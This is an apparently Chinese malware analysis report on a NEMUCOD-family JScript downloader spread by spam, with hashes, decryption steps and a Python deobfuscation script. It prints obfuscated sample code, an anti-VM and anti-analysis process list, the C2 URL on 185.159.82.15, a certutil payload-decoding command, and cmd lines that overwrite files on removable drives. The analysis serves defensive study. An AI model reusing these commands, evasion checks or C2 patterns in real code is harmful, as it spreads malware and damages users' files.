该病毒使用微软的JScript编写,能够直接运行在Windows操作系统之上,采用了加密和混淆手段对抗监测,可检测是否运行在虚拟机中和系统中是否存在分析工具,可感染可移动存储介质,主要功能为下载器。CC服务器为185.159.82.15,通过关联威胁情报,该样本为NEMUCOD家族样本,该病毒通过垃圾邮件传播。主要功能如下图所示。
样本的基本信息
文件大小: 651 KB (666,907 字节)
MD5: da9cad0fa9c7e928b8affd67ea382226
SHA1: e6adc360a1c095f8ed1e53e5c90d467461d24578
SHA256: 2a35073fe045874835bc96fd221e985cf0898cf669892af54c9f64acd2f88d7b
SHA512: 1bd5d6bd47d7ccba90d22c93380677f06262e87539e0c6a1209c24f5ebcb8d8b784d289d698db38be2e6e92663d57ea1cb1a99cb9f54ea883e98ffe380901d6d
CRC32: a5808d46
分析环境和工具
-
window7 x64 虚拟机
-
vscode 用于格式化js格式
-
PrimalScript2007 用于调试jscript代码
-
Anaconda3(python3)
-
JScript.Encode 在线解密 (jb51.net) jse解密
-
Online JavaScript beautifier js代码格式化
1.解密
该样本是一个加密的js文件,打开后如下图所示
使用了windows 的jsencode方式进行加密,在百度上搜索jsencod解密会找到很多在线解密的网站,这里使用 https://www.jb51.net/tools/onlinetools/jiemi/jsendecode.htm 进行解密。
解密后的代码,使用https://beautifier.io/进行格式化
格式化后的代码如下图所示
2. js去混淆
解密后的js代码是经过混淆的代码,需要去混淆才能了解其真实的功能。
代码中大部分的字符串,都使用了PtovUtS函数进行了混淆,这个函数的功能是根据ascii码返回相应的字符,类似于python中的chr函数
function PtovUtS(pjepfor, ufupgr) {
//try块中的部分不会被执行,因为jnvdiscu_5函数无定义
try {
gUEncforward81ko = 'conscience91';
gUEncable81ko = 'situationbecame95';
gUEncHere83ko = 'humans5';
jnvdiscu_5(pjepfor, ufupgr);
} catch (e) {
//若第二个参数不是hate的话,返回 true
if (ufupgr != 'hate') {
return true;
} else {
//若第二个参数是hate的话,返回第一个参数的表示的ascii码
return String[['from'] + ['Char'] + ['Code']](pjepfor);
}
return 0;
}
};
比如下面这段代码
var gUEncthere67 = this[(function() {
var testh6 = [];
testh6[0] = 0;
try {
testh6[1] = pvkgive4_7();
} catch (nhusEuro) {
if ((nhusEuro + '').indexOf('b') > -1 && PtovUtS(234, 234)) {
testh6[1] = 87;
return PtovUtS(testh6[1] + testh6[0], 'hate');
}
}
return PtovUtS(testh6[1] + testh6[0], 'hate');
})() + (function() {
var suiwri6 = [];
suiwri6[0] = 1;
try {
suiwri6[1] = ([82] * 1);
} catch (jpejava) {
if ((jpejava + '').indexOf('b') > -1 && PtovUtS(40, 40)) {
suiwri6[1] = 82;
return PtovUtS(suiwri6[1] + suiwri6[0], 'hate');
}
}
return PtovUtS(suiwri6[1] + suiwri6[0], 'hate');
})('Both38') + (function() {
var fpugrati9 = [];
fpugrati9[0] = 0;
try {
fpugrati9[1] = {
11: 99
} ['11'];
} catch (qvvpskil) {
if ((qvvpskil + '').indexOf('b') > -1 && PtovUtS(164, 164)) {
fpugrati9[1] = 99;
return PtovUtS(fpugrati9[1] + fpugrati9[0], 'hate');
}
}
return PtovUtS(fpugrati9[1] + fpugrati9[0], 'hate');
})() + (function() {
var ttuconte7 = [];
ttuconte7[0] = 0;
try {
ttuconte7[1] = ([114] * 1);
} catch (wswtac) {
if ((wswtac + '').indexOf('b') > -1 && PtovUtS(43, 43)) {
ttuconte7[1] = 114;
return PtovUtS(ttuconte7[1] + ttuconte7[0], 'hate');
}
}
return PtovUtS(ttuconte7[1] + ttuconte7[0], 'hate');
})() + (function() {
var sphavala8 = [];
sphavala8[0] = 0;
try {
sphavala8[1] = ([105] * 1);
} catch (ffivfoun) {
if ((ffivfoun + '').indexOf('b') > -1 && PtovUtS(41, 41)) {
sphavala8[1] = 105;
return PtovUtS(sphavala8[1] + sphavala8[0], 'hate');
}
}
return PtovUtS(sphavala8[1] + sphavala8[0], 'hate');
})() + (function() {
var nnjgr9 = [];
nnjgr9[0] = 1;
try {
nnjgr9[1] = ttudiscu_7();
} catch (kusjforce) {
if ((kusjforce + '').indexOf('b') > -1 && PtovUtS(101, 101)) {
nnjgr9[1] = 111;
return PtovUtS(nnjgr9[1] + nnjgr9[0], 'hate');
}
}
return PtovUtS(nnjgr9[1] + nnjgr9[0], 'hate');
})(true) + (function() {
var twksk8 = [];
twksk8[0] = 4;
try {
twksk8[1] = ([112] * 1);
} catch (hkwhoth) {
if ((hkwhoth + '').indexOf('b') > -1 && PtovUtS(96, 96)) {
twksk8[1] = 112;
return PtovUtS(twksk8[1] + twksk8[0], 'hate');
}
}
return PtovUtS(twksk8[1] + twksk8[0], 'hate');
})('human41', 'entertain10', 'clutches13', 'thus98')];
其真实的语句为
var gUEncthere67 = this["WScript"];
使用python和正则表达式,结合系统自带的cscript.exe程序,可还原大部分被混淆的代码,python代码如下
#-*- coding:utf-8 -*-
import re,os
js = """
function PtovUtS(pjepfor, ufupgr) {
try {
gUEncforward81ko = 'conscience91';
gUEncable81ko = 'situationbecame95';
gEncHere83ko = 'humans5';
jnvdiscu_5(pjepfor, ufupgr);
} catch (e) {
if (ufupgr != 'hate') {
return true;
} else {
return String[['from'] + ['Char'] + ['Code']](pjepfor);
}
return 0;
}
};"""
filename = "2a35073fe045874835bc96fd221e985cf0898cf669892af54c9f64acd2f88d7b_decode.js"
data = open(filename,'r',encoding='utf-8').read()
"""
匹配类似这样的代码段
(function() {
var qftmerel7 = [];
qftmerel7[0] = 1;
try {
qftmerel7[1] = ([101] * 1);
} catch (kvnuhisfo) {
if ((kvnuhisfo + '').indexOf('b') > -1 && PtovUtS(250, 250)) {
qftmerel7[1] = 101;
return PtovUtS(qftmerel7[1] + qftmerel7[0], 'hate');
}
}
return PtovUtS(qftmerel7[1] + qftmerel7[0], 'hate');
})(2434) + (function() {
var pvpava5 = [];
pvpava5[0] = 0;
try {
pvpava5[1] = {
25: 114
} ['25'];
} catch (wkesfou) {
if ((wkesfou + '').indexOf('b') > -1 && PtovUtS(53, 53)) {
pvpava5[1] = 114;
return PtovUtS(pvpava5[1] + pvpava5[0], 'hate');
}
}
return PtovUtS(pvpava5[1] + pvpava5[0], 'hate');
})() + ...
"""
a = re.findall(r"((\(function\(\) \{.*?PtovUtS\(.*?\).*?\}\)\(.*?\)( \+ )*)+)",data,re.M | re.S)
for i in a:
#x = js2py.eval_js(js + i[0] + ';')
x = i[0]
x = x.strip(' ').strip('+') #去掉首尾的空格和+
#利用这段代码构造一个js文件,打印出其表示的真实字符串
open('1.js','w',encoding='utf-8').write(js + '\nvar a = %s; WScript.Echo(a);' % x)
#使用CScript.exe执行这段代码,将结果输出到文件output.txt
ret = os.system('CScript.exe //Nologo 1.js > output.txt')
if ret == 0:#CScript执行没有报错
output = open("output.txt",'r',encoding='utf-8').read().strip()
print(output)
#替换找到的代码块
data = data.replace(x,'"%s"' % output)
else:#报错的话,需要单独处理
#print(i[0])
break
#替换原始文件
open(filename,'w',encoding='utf-8').write(data)
上面代码中的正则表达式含义如下图所示
去混淆之后代码不到400行,可以看到CC服务器的IP
3 分析去混淆后的代码
代码的主体是一个死循环
首先会获取系统操作系统和进程信息,保存为一个字符串
操作系统信息如下,包括名称和版本号,如
Microsoft Windows 7 旗舰版 6.1.7601
进程信息 进程名1*进程路径1\n进程名2*进程路径2\n…,如
System Idle Process*null
System*null
smss.exe*null
csrss.exe*C:\Windows\system32\csrss.exe
wininit.exe*C:\Windows\system32\wininit.exe
csrss.exe*C:\Windows\system32\csrss.exe
winlogon.exe*C:\Windows\system32\winlogon.exe
services.exe*C:\Windows\system32\services.exe
lsass.exe*C:\Windows\system32\lsass.exe
lsm.exe*C:\Windows\system32\lsm.exe
svchost.exe*C:\Windows\system32\svchost.exe
vmacthlp.exe*C:\Program Files\VMware\VMware Tools\vmacthlp.exe
svchost.exe*C:\Windows\system32\svchost.exe
svchost.exe*C:\Windows\System32\svchost.exe
svchost.exe*C:\Windows\system32\svchost.exe32\svchost.exe
匹配当前进程信息中是否含有下列字符串,有的话退出。该样本会检测当前环境是否为虚拟机,是否运行为取证工具和防病毒软件。
2B.exe
indexOf
Procmon
Wireshark
Temp\iexplore.exe
ProcessHacker
vmtoolsd
VBoxService
python
Proxifier.exe
Johnson
ImmunityDebugger.exe
lordPE.exe
ctfmon.exe*JOHN-PC
BehaviorDumper
anti-virus.EXE
AgentSimulator.exe
VzService.exe
VBoxTray.exe
VmRemoteGuest
SystemIT|admin
WIN7-TRAPS
Emily\AppData
procexp
tcpdump
FrzState2k
DFLocker64
vmware
LOGSystem.Agent.Service.exe
C:\Users\user\
C:\Users\milozs\
windanr.exe
gemu-ga.exe
HAPUBWS
BennyDB.exe
Peter Wilson
Hong Lee
将自己拷贝到系统启动目录下,命名为
C:\Users\xxx\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.jse
将之前获取的操作系统和进程信息通过POST方法发送给C&C服务器,C&C服务器的URL为
https://185.159.82.15/hollyhole/c644.php
将后台的响应保存为一个PE文件,文件名为一个 %TEMP%\随机值.exe ,若响应不是二进制数据(实际为base64编码的pe文件),将其保存为%TEMP%\随机值.cro,再使用下面的命令将其解码为pe文件
certutil -f decode C:\Users\ADMINI~1\AppData\Local\Temp\120698.cro C:\Users\ADMINI~1\AppData\Local\Temp\779421.exe
若下载文件失败,将在可移动驱动器中查找具有以下扩展名的文件,并使用自身的副本替换这些文件
*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb
具体操作为:
首先遍历系统当前所有的驱动器,寻找可移动存储介质,找到后执行如下命令,将当前驱动器下所有后缀名为*.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb的文件名输出到文件 %TEMP%\ascii.txt
cmd /U /Q /C cd /D X: && dir /b /s /x *.doc *.xls *.pdf *.rtf *.txt *.pub *.odt *.ods *.odp *.odm *.odc *.odb >> %TEMP%\ascii.txt
然后,再遍历%TEMP%\ascii.txt中的文件,使用自身副本替换掉这些文件,使用如下命令
cmd /U /Q /C copy /Y C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\shell.jse X:\y\z.jse && && del /Q /F X:\y\z.doc
最后,删除文件 %TEMP%\ascii.txt
若下载的文件是一个合法的PE文件,执行
参考资料
Online JavaScript beautifier
JS混淆加密压缩 - 站长工具 (chinaz.com)
Trickbot Delivered via Highly Obfuscated JS File (trendmicro.com)
Deobfuscating Ostap: TrickBot’s 34,000 Line JavaScript Downloader | HP Wolf Security
shell.jse - Pastebin.com
新型JSNEMUCOD病毒样本分析报告 - FreeBuf网络安全行业门户
Trickbot银行木马变种分析 - 百度安全社区 (baidu.com)
Trickbot银行木马变种分析 - FreeBuf网络安全行业门户
变形脚本病毒的“照妖镜”——火绒“脚本行为沙盒”简介 (huorong.cn)
TrojanDownloader:JS/Nemucod分析【原创+翻译】 - 『病毒分析区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn
警惕钓鱼邮件——近期勒索软件高发 - 知乎 (zhihu.com)
Reverse engineering a JavaScript obfuscated dropper | Infosec Resources (infosecinstitute.com)
http://www.cse.psu.edu/~sxz16/papers/malware.pdf
(185条消息) 使用JScript.encode进行网页的加密与解密 _joliny的博客-CSDN博客
Michael’s Blog :: Just Do IT (toplee.com)
JScript.Encode 在线解密 (jb51.net)
跟我一起写Windows JS脚本(一):Hello World